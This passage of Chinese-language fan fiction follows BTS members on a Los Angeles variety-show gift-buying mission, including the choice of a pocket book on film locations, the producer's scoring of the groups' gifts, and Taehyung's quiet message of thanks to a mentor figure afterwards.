他们找手印的速度不算快，但奇怪的是，也没走什么冤枉路。金硕珍似乎有种直觉，能大致判断方向。
寻找礼物的环节，两人第一次产生了明显的、但又非常“C组风格”的分歧。
路过一家名为“Chocolate Starlet”的高档手工巧克力店时，金硕珍停下了脚步。橱窗里，天鹅绒垫子上陈列着做成各种好莱坞元素形状的精致巧克力：奥斯卡小金人、电影胶片盘、摄影机，以及——做成星光大道星星形状的、表面撒着可食用金粉的巧克力。每一颗都小巧精致，包装在华丽的烫金小盒子里。
“玧其啊，你看这个如何？” 金硕珍微微倾身，仔细端详，语气里带着欣赏，“兼具洛杉矶特色，以及……不错的品味。作为礼物，应该不会失礼。” 他看重的是其精致、独特和潜在的“美味”属性。然而，一看标价，一盒六颗装，$35。
闵玧其闻言，慢吞吞地踱步过来，隔着橱窗玻璃看了看，甚至没看价格，就吐出了两个清晰的字：“会化。” 然后，他的目光意有所指地扫过外面炽烈的阳光，和金硕珍因为行走而微微泛红的脸颊。否决的理由简单、直接、且无法反驳——在加州的大太阳下带着巧克力逛街，等回到集合点，恐怕只剩一盒巧克力酱了。而且，$35的价格几乎用光了他们的预算。
金硕珍被这个无比现实的理由噎了一下，他不得不承认闵玧其说得对。“……嗯，有道理。那我们再看看。”
又走了一段，路过一家看起来颇有年头的、招牌是复古霓虹灯管拼成的“Vinyl Galaxy”唱片店。店门开着，里面传来慵懒的爵士乐声。闵玧其的脚步几不可察地顿了一下，目光投向店内那些堆到天花板的黑胶唱片架。他似乎对这里的环境更感兴趣。
金硕珍顺着他的目光看去，店里光线昏暗，堆满了唱片和二手书籍，氛围倒是独特，但作为“代表洛杉矶”的礼物……他微微蹙眉，委婉地表达了自己的看法：“这里……似乎很有特色。不过，作为给节目组的礼物，可能不太直观，而且……” 他看了看那些唱片的价格标签，老旧经典的专辑价格不菲，“预算可能也需要仔细考虑。” 他不想买一张随意的、便宜的唱片凑数，那不符合他的标准。
闵玧其听出了他的言下之意，又看了店内一眼，便收回目光，继续向前走。他也没有坚持。
就在两人看似漫无目的地又走了一会儿，经过一家兼卖书籍、文具和特色纪念品的连锁书店“Page Turner”时，几乎同时，他们的目光被橱窗里一个陈列品吸引。
那是一本巴掌大小、硬壳精装的迷你书。封面是经典的老式摄像机图案，书名烫金：《L.A. on Celluloid: Classic Film Locations》。书很薄，但装帧精美，翻开的内页展示着一些简短的文章和老电影剧照，指示着洛杉矶各处著名的电影拍摄地。
金硕珍和闵玧其对视了一眼。金硕珍眼中流露出认可：“这个……似乎不错。有文化内涵，与好莱坞电影工业紧密相关，体积小巧，便于携带。” 关键是，看起来很有“格调”。
闵玧其也点了点头，言简意赅：“嗯，这个不占地方，而且还很合适，看看多少钱。”
两人难得地迅速达成共识。走进店里，找到那本书，价格标签上写着：$12。非常合适。
“就它了。” 金硕珍掏出钱包，买下了这本小书。店员用印有书店Logo的浅棕色纸袋装好。
解决了礼物，两人手里还剩二十八美元。他们没去拥挤的快餐店，而是选择了一家看起来干净明亮、有户外座位的咖啡馆“The Daily Grind”。用剩下的钱点了两份招牌火腿奶酪三明治和两杯美式咖啡，坐在遮阳伞下，不紧不慢地享用。
他们是最后一组慢悠悠抵达集合点的，但神态自若，仿佛刚刚结束了一场惬意的都市漫步。
三组人马重新聚齐，虽然都带着疲惫，但完成了任务的成就感洋溢在每个人脸上。节目PD对三组的礼物和表现进行点评。
A组的好莱坞开瓶器以其夸张的造型、强烈的主题性和独特的“复古未来”感，获得了“最具创意和代表性”的高度评价。加上他们完成手印任务的速度最快，综合评分毫无悬念地位列第一。
“A组，你们用最少的启动资金，不仅买到了很有分量的礼物，看起来精神还很不错？” PD好奇地问，目光扫过三人手中那个显眼的黑色纸袋，“而且，我注意到你们好像没有为午餐发愁？任务资金应该不够吧？”
问题抛来，金泰亨心脏猛地一跳，但面上努力维持着镇定，用之前和队友对好的说辞，语气尽量自然：“啊，是的，PD nim。午餐是……我在LA的一个朋友，正好在附近，知道我们在做任务，就帮我们点了外卖送过来。所以我们就用全部任务资金买了这个开瓶器。” 他指了指礼物。
郑号锡立刻机灵地接上，表情夸张：“真的多亏了泰亨的朋友！简直是救星！不然我们三个今天就要在星光大道表演‘饿晕的偶像’了！”
朴智旻也用力点头，软软地补充：“嗯！外卖很好吃！谢谢泰亨哥的朋友！”
PD笑了笑，没有继续深究“朋友”的具体情况，似乎接受了这个解释，转向了B组和C组。
B组的趣味太阳镜被评为“有趣、实用，互动性强”，但“作为地标纪念品的特色稍弱”。完成时间第二。C组的电影地点口袋书被评为“有格调、有文化内涵，独具匠心”，但“直观冲击力不如A组的礼物”。完成时间第三。
任务在欢笑和点评中结束。前往酒店的路上，成员们在车里兴奋地交流着各自的经历。
“哇，泰亨哥，你那个朋友太给力了！简直是雪中送炭！” 田柾国一边回味着自己刚才的汉堡，一边羡慕地对金泰亨说，“你们礼物也选得好酷！那个开瓶器看着就贵。”
金南俊 推了推眼镜，理性分析：“确实。” 他看向金泰亨的目光带着赞许和一丝探究。
金硕珍整理着袖口微笑道：“我们那本小书，倒是很适合在飞机上或者休息时翻阅，了解一些电影文化。”
闵玧其戴着耳机，头靠在车窗上，似乎已经睡着了，对周围的讨论毫无反应。
金泰亨靠在舒适的车座椅背上，听着哥哥们的称赞和讨论，手指在口袋里，无意识地、反复摩挲着手机光滑的边缘。窗外的洛杉矶已是华灯初上，璀璨的灯火如同地上的星河，与天际隐约浮现的星辰遥相呼应。他点开那个置顶的星空头像，他想了想，指尖在屏幕上轻触：
金泰亨：前辈，我们到酒店了。今天真的很谢谢您！礼物大家都说选得太棒了！哥哥们还在夸呢！
Yuri：嗯，好好休息，做的好。
依旧是简短的回应，但金泰亨却觉得，他能感受到那份静默的关注。他放下手机，看向窗外飞速掠过的、灯火通明的异国街道。